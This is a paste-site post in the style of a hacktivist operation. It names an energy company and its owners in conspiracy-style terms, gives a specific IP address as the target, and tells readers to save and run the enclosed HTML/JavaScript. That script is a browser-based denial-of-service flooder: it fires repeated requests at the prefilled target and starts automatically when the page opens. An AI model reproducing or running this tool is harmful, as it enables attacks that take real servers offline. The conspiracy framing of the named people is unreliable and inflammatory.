SHOW:
|
|
- or go back to the newest paste.
1 | #OpIcarus #OpShutDownTheGov #OpIsrael #OpISIS #Killuminati | |
2 | ||
3 | Genie Energy: Rothschild, Cheney and Murdoch. | |
4 | IP: 205.186.139.243 | |
5 | ||
6 | Copy all of the below and save it in a notepad. Then save as DDos.html on to your desktop, open and run. Make sure to use a VPN | |
7 | ||
8 | Expect us. | |
9 | --------------------------------------------------------------------------------------------------------------------------------------- | |
10 | <html> | |
11 | <head> | |
12 | <title>DIGITAL ANARCHY</title> | |
13 | ||
14 | </head> | |
15 | <center><h1>OPICARUS - SHOULD HAVE EXPECTED US</h1></center> | |
16 | <body style="background-color:black; color:#FFFFFF;"> | |
17 | <div style="position:absolute; width:100%; height:100%;"> | |
18 | ||
19 | <div style="width:520px; height:800px; position:absolute;"> | |
20 | <img alt="LOIC"src="http://i66.tinypic.com/2eulipu.jpg" /> | |
21 | </div> | |
22 | ||
23 | <div style="width:240px; height:100px; position:absolute;left:500px;"> | |
24 | <fieldset style="width:100%; height:100%;"> | |
25 | <legend>Step 1. Select your target:</legend> | |
26 | <label>URL: <br /> <input id="targetURL" style="width:100%;" value="205.186.139.243 " /></label> <!-- disabled="true" --> | |
27 | ||
28 | </fieldset> | |
29 | </div> | |
30 | <div style="width:240px; height:100px; position:absolute; left:780px;"> | |
31 | <fieldset style="width:100%; height:100%;"> | |
32 | <legend>Step 2. Ready?</legend> | |
33 | ||
34 | <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button> | |
35 | ||
36 | </fieldset> | |
37 | </div> | |
38 | ||
39 | <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;"> | |
40 | <fieldset style="width:100%; height:100%;"> | |
41 | <legend>Optional. Options</legend> | |
42 | <label>Requests per second : <input style="width:40px;" id="rps" value="999999999999999" /></label><br /> | |
43 | ||
44 | <label>Append message : <br /><input style="width:100%;" id="message" value="Free Golan Heights" /></label> | |
45 | ||
46 | </fieldset> | |
47 | </div> | |
48 | ||
49 | <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;"> | |
50 | <fieldset style="width:100%; height:100%;"> | |
51 | <legend>Attack status:</legend> | |
52 | <dl> | |
53 | <dt>Requested:</dt> | |
54 | <dd id="requestedCtr">0</dd> | |
55 | ||
56 | <dt style="opacity: 0.5; color: green;">Request OK :</dt> | |
57 | <dd style="opacity: 0.5" id="succeededCtr">0</dd> | |
58 | <dt style="opacity: 0.5; color: red;">Request failed :</dt> | |
59 | <dd style="opacity: 0.5" id="failedCtr">0</dd> | |
60 | </dl> | |
61 | </fieldset> | |
62 | </div> | |
63 | ||
64 | </div> | |
65 | <script> | |
66 | (function () { | |
67 | var fireInterval; | |
68 | var isFiring = true; | |
69 | var requestedCtrNode = document.getElementById("requestedCtr"), | |
70 | succeededCtrNode = document.getElementById("succeededCtr"), | |
71 | failedCtrNode = document.getElementById("failedCtr"), | |
72 | targetURLNode = document.getElementById("targetURL"), | |
73 | fireButton = document.getElementById("fireButton"), | |
74 | messageNode = document.getElementById("message"), | |
75 | rpsNode = document.getElementById("rps"), | |
76 | timeoutNode = document.getElementById("timeout"); | |
77 | var targetURL = targetURLNode.value; | |
78 | targetURLNode.onchange = function () { | |
79 | targetURL = this.value; | |
80 | }; | |
81 | var requestsHT = {}; // requests hash table, may come in handy later | |
82 | var requestedCtr = 0, | |
83 | succeededCtr = 0, | |
84 | failedCtr = 0; | |
85 | var makeHttpRequest = function () { | |
86 | if (requestedCtr > failedCtr + succeededCtr + 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) { //Allow no more than 1000 hung requests | |
87 | return; | |
88 | }; | |
89 | ||
90 | var rID =Number(new Date()); | |
91 | var img = new Image(); | |
92 | img.onerror = function () { onFail(rID); }; | |
93 | img.onabort = function () { onFail(rID); }; | |
94 | img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods | |
95 | ||
96 | img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value); | |
97 | requestsHT[rID] = img; | |
98 | onRequest(rID); | |
99 | }; | |
100 | ||
101 | var onRequest = function (rID) { | |
102 | requestedCtr++; | |
103 | requestedCtrNode.innerHTML = requestedCtr; | |
104 | }; | |
105 | ||
106 | var onComplete = function (rID) { | |
107 | delete requestsHT[rID]; | |
108 | }; | |
109 | ||
110 | var onFail = function (rID) { | |
111 | // failedCtr++; | |
112 | //failedCtrNode.innerHTML = failedCtr; | |
113 | ||
114 | succeededCtr++; //Seems like the url will always fail it it isn't an image | |
115 | succeededCtrNode.innerHTML = succeededCtr; | |
116 | delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser | |
117 | }; | |
118 | ||
119 | var onSuccess = function (rID) { | |
120 | succeededCtr++; | |
121 | succeededCtrNode.innerHTML = succeededCtr; | |
122 | delete requestsHT[rID]; | |
123 | }; | |
124 | ||
125 | fireButton.onclick = function () { | |
126 | if (isFiring) { | |
127 | clearInterval(fireInterval); | |
128 | isFiring = false; | |
129 | this.innerHTML = "START"; | |
130 | } else { | |
131 | isFiring = true; | |
132 | this.innerHTML = "Stop flooding"; | |
133 | ||
134 | fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(rpsNode.value) | 0)); | |
135 | } | |
136 | }; | |
137 | ||
138 | })(); | |
139 | ||
140 | isFiring = false; | |
141 | document.getElementById("fireButton").innerHTML = "Stop flooding"; | |
142 | fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(document.getElementById("rps").value) | 0)); | |
143 | </script> | |
144 | </body> | |
145 | </html> |